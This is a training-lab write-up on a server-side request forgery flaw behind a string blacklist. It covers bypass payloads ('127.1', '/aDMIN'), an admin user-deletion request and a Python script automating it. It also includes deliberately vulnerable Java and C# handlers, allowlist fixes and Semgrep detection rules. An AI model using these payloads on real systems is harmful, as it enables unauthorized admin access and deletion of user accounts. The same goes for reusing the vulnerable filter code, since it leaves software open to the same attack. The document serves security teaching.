Lab 03: SSRF with blacklist-based input filter
1. Executive Summary
Vulnerability: Server-Side Request Forgery (SSRF) with Weak Blacklist Defenses.
Description: The application’s stock check feature accepts a user-controlled URL. The developer attempted to prevent SSRF by implementing a blacklist, checking the input string for forbidden terms like 127.0.0.1, localhost, and /admin. However, blacklists are inherently flawed because they only block known bad patterns. Attackers can bypass these filters using IP obfuscation (e.g., 127.1) and case manipulation (e.g., /aDMIN) to slip past the string checks while still successfully routing to the restricted local administrative interface.
Impact: Privilege Escalation / Unauthorized Access. By bypassing the flawed input filters, an attacker forces the server to access its own internal admin panel, allowing them to execute destructive actions such as deleting users.
2. The Attack
Objective: Bypass the anti-SSRF defenses to access the local admin interface and delete the user carlos.
- Reconnaissance (Mapping the Filter):
- I intercepted the
POST /product/stockrequest containing thestockApiparameter. - I tested the basic payload:
http://127.0.0.1/. The server returned an error, indicating a block. - I tested
http://localhost/. Blocked again.
- I intercepted the
- Bypassing the IP Blacklist:
- I utilized IP Obfuscation. Network stacks automatically expand shorthand IP addresses. I changed the URL to
http://127.1/. - The server accepted it! The string
127.1did not match the strict127.0.0.1blacklist, but the underlying HTTP client resolved it to the loopback address anyway.
- I utilized IP Obfuscation. Network stacks automatically expand shorthand IP addresses. I changed the URL to
- Bypassing the Path Blacklist:
- I appended the admin path:
http://127.1/admin. The server blocked the request, revealing a secondary filter on the string/admin. - Instead of double-URL encoding, I exploited the case-insensitivity of the backend routing by altering the capitalization:
http://127.1/aDMIN. - The strict string filter looked for exactly
/adminand let/aDMINpass. The web server, however, treated/aDMINas equivalent to/adminand served the page.
- I appended the admin path:
- Exploitation:
I combined the bypasses to deliver the final deletion payload:
stockApi=http://127.1/aDMIN/delete?username=carlosThe server executed the request, and the target user was deleted.
3. Code Review
Java (Spring Boot)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
@PostMapping("/product/stock")
public ResponseEntity<String> checkStock(@RequestParam String stockApi) {
// VULNERABLE: Naive string-based blacklist
if (stockApi.contains("127.0.0.1") || stockApi.contains("localhost")) {
return ResponseEntity.status(403).body("External SSRF Attempt Blocked");
}
// VULNERABLE: Case-sensitive path blacklist
if (stockApi.contains("/admin")) {
return ResponseEntity.status(403).body("Access to admin path is forbidden");
}
try {
URL url = new URL(stockApi);
HttpURLConnection connection = (HttpURLConnection) url.openConnection();
connection.setRequestMethod("GET");
InputStream inputStream = connection.getInputStream();
return ResponseEntity.ok(new String(inputStream.readAllBytes()));
} catch (Exception e) {
return ResponseEntity.status(500).build();
}
}
Technical Flow & Syntax Explanation:
stockApi.contains(...): The JavaString.contains()method performs a strict, case-sensitive character match.- The IP Flaw: Because the developer explicitly checked for
"127.0.0.1", the string"127.1"passes theifstatement. Whennew URL("http://127.1").openConnection()executes, the OS network layer translates127.1to the standard127.0.0.1loopback address, successfully bypassing the filter. - The Path Flaw: The string
"aDMIN"does not contain the exact substring"/admin". It bypasses the secondifstatement. Once the request hits the internal application framework, case-insensitive routing (common in many setups) maps/aDMINto the/admincontroller.
C# (ASP.NET Core)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
[HttpPost("product/stock")]
public async Task<IActionResult> CheckStock([FromForm] string stockApi)
{
// VULNERABLE: Blacklist approach lacking robust parsing
var blacklist = new[] { "127.0.0.1", "localhost", "admin" };
foreach (var term in blacklist)
{
// Contains is case-sensitive by default in C#
if (stockApi.Contains(term))
{
return Forbid();
}
}
using (var client = new HttpClient())
{
var response = await client.GetStringAsync(stockApi);
return Content(response, "text/html");
}
}
Technical Flow & Syntax Explanation:
stockApi.Contains(term): By default, C#’sString.Containsis ordinal and case-sensitive. It fails to catchaDMIN.HttpClientExecution: When theHttpClientprocesseshttp://127.1/aDMIN, the underlying .NET socket resolves127.1to the IPv4 loopback. The network stack normalizes the attacker’s obfuscation after the security checks have already been fooled.
Mock PR Comment
The current SSRF defenses rely on a string-based blacklist, which is easily bypassed using IP obfuscation (e.g., 127.1, decimal IPs, or DNS rebinding) and case manipulation.
Recommendation: Abandon the blacklist approach. Implement an Indirect Object Reference (allowlist). If dynamic URL fetching is strictly required, validate the fully parsed IP address and hostname against a strict allowlist of known, safe internal services.
4. The Fix
Explanation of the Fix:
As demonstrated in previous labs, the most secure fix for SSRF is an Indirect Object Reference (Whitelist). We stop accepting URLs entirely. If the client needs to check stock for a specific store, they pass the storeId, and the server maps it to a trusted, hardcoded URL.
Secure Java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// SECURE: Hardcoded Map of allowed endpoints
private static final Map<Integer, String> STORE_ENDPOINTS = Map.of(
1, "http://internal-stock.api:8080/check?storeId=1",
2, "http://internal-stock.api:8080/check?storeId=2"
);
@PostMapping("/product/stock")
public ResponseEntity<String> checkStock(@RequestParam int storeId) {
// SECURE: Lookup trusted URL based on discrete user input
String targetUrl = STORE_ENDPOINTS.get(storeId);
if (targetUrl == null) {
return ResponseEntity.badRequest().body("Invalid store selection.");
}
try {
URL url = new URL(targetUrl);
HttpURLConnection connection = (HttpURLConnection) url.openConnection();
InputStream inputStream = connection.getInputStream();
return ResponseEntity.ok(new String(inputStream.readAllBytes()));
} catch (Exception e) {
return ResponseEntity.status(500).build();
}
}
Technical Flow & Syntax Explanation:
@RequestParam int storeId: The attacker is forced to provide an integer.STORE_ENDPOINTS.get(storeId): The application acts as a strict gateway. Because the attacker cannot injecthttp://127.1into the predefined map, they cannot manipulate the destination of theHttpURLConnection. The SSRF attack surface is completely removed.
Secure C#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private readonly Dictionary<int, string> _trustedStockApis = new()
{
{ 1, "http://internal-stock-1.api:8080/check" },
{ 2, "http://internal-stock-2.api:8080/check" }
};
[HttpPost("product/stock")]
public async Task<IActionResult> CheckStock([FromForm] int storeId)
{
// SECURE: Validating against an exact dictionary list
if (!_trustedStockApis.TryGetValue(storeId, out var internalUrl))
{
return BadRequest("Invalid stock identifier.");
}
using (var client = new HttpClient())
{
var response = await client.GetStringAsync(internalUrl);
return Content(response, "text/html");
}
}
Technical Flow & Syntax Explanation:
Dictionary<int, string>: Replaces the flawed array of blacklisted strings with a safe collection of explicitly trusted routing destinations.TryGetValue: Eliminates the need for string parsing, URL normalization, or IP resolution checks. If the key isn’t explicitly defined by the developer, the network call never happens.
5. Automation
A Python script that automatically delivers the obfuscated SSRF payload.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/env python3
import argparse
import requests
import sys
def exploit_ssrf_blacklist_bypass(url, target_user):
stock_endpoint = f"{url.rstrip('/')}/product/stock"
# The payload uses 127.1 for IP obfuscation and aDMIN for case manipulation
ssrf_payload = f"http://127.1/aDMIN/delete?username={target_user}"
data = {
"stockApi": ssrf_payload
}
print(f"[*] Targeting endpoint: {stock_endpoint}")
print(f"[*] Delivering Obfuscated SSRF payload: {ssrf_payload}")
try:
resp = requests.post(stock_endpoint, data=data)
if resp.status_code == 200:
print(f"[!!!] SUCCESS: Bypassed filters. User '{target_user}' should be deleted.")
else:
print(f"[-] Request failed with status code: {resp.status_code}")
except requests.exceptions.RequestException as e:
print(f"[-] A network error occurred: {e}")
sys.exit(1)
def main():
parser = argparse.ArgumentParser(description="Exploit SSRF bypassing basic blacklists.")
parser.add_argument("url", help="Lab URL")
parser.add_argument("--user", default="carlos", help="User to delete (default: carlos)")
args = parser.parse_args()
exploit_ssrf_blacklist_bypass(args.url, args.user)
if __name__ == "__main__":
main()
6. Static Analysis (Semgrep)
The Logic: We want to detect when developers attempt to secure a URL parameter using naive string-matching functions (contains, indexOf) instead of proper URL parsing or whitelisting.
Java Rule
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
rules:
- id: java-ssrf-naive-blacklist
languages: [java]
message: |
Naive SSRF Blacklist detected. Using 'contains' or 'startsWith' to block IP addresses
like '127.0.0.1' or paths is easily bypassed via obfuscation (e.g., 127.1) or case variations.
Use an allowlist of trusted domains or indirect object references instead.
severity: WARNING
patterns:
- pattern-either:
- pattern: $STR.contains("127.0.0.1")
- pattern: $STR.contains("localhost")
- pattern: $STR.contains("admin")
- pattern-inside: |
public $RET $METHOD(..., String $STR, ...) { ... }
Technical Flow & Syntax Explanation:
pattern-either: Looks for common hardcoded blacklist strings used to block local network access.$STR.contains(...): Flags the specific use of string manipulation methods for security checks. It highlights the architectural flaw of treating URLs as simple text rather than structured network identifiers.
C# Rule
1
2
3
4
5
6
7
8
9
10
11
12
13
14
rules:
- id: csharp-ssrf-naive-blacklist
languages: [csharp]
message: |
Insecure SSRF protection. 'String.Contains' is case-sensitive by default and fails
against URL encoding or IP obfuscation. Do not use blacklists for URL validation.
severity: WARNING
patterns:
- pattern-inside: |
public $RET $METHOD(..., string $STR, ...) { ... }
- pattern-either:
- pattern: $STR.Contains("127.0.0.1")
- pattern: $STR.Contains("localhost")
- pattern: $STR.Contains("admin")
Technical Flow & Syntax Explanation:
$STR.Contains("..."): Captures the exact C# method responsible for the vulnerability. When Semgrep finds this pattern inside a method taking untrusted string input ($STR), it alerts the developer that their perimeter defense can be trivially bypassed.
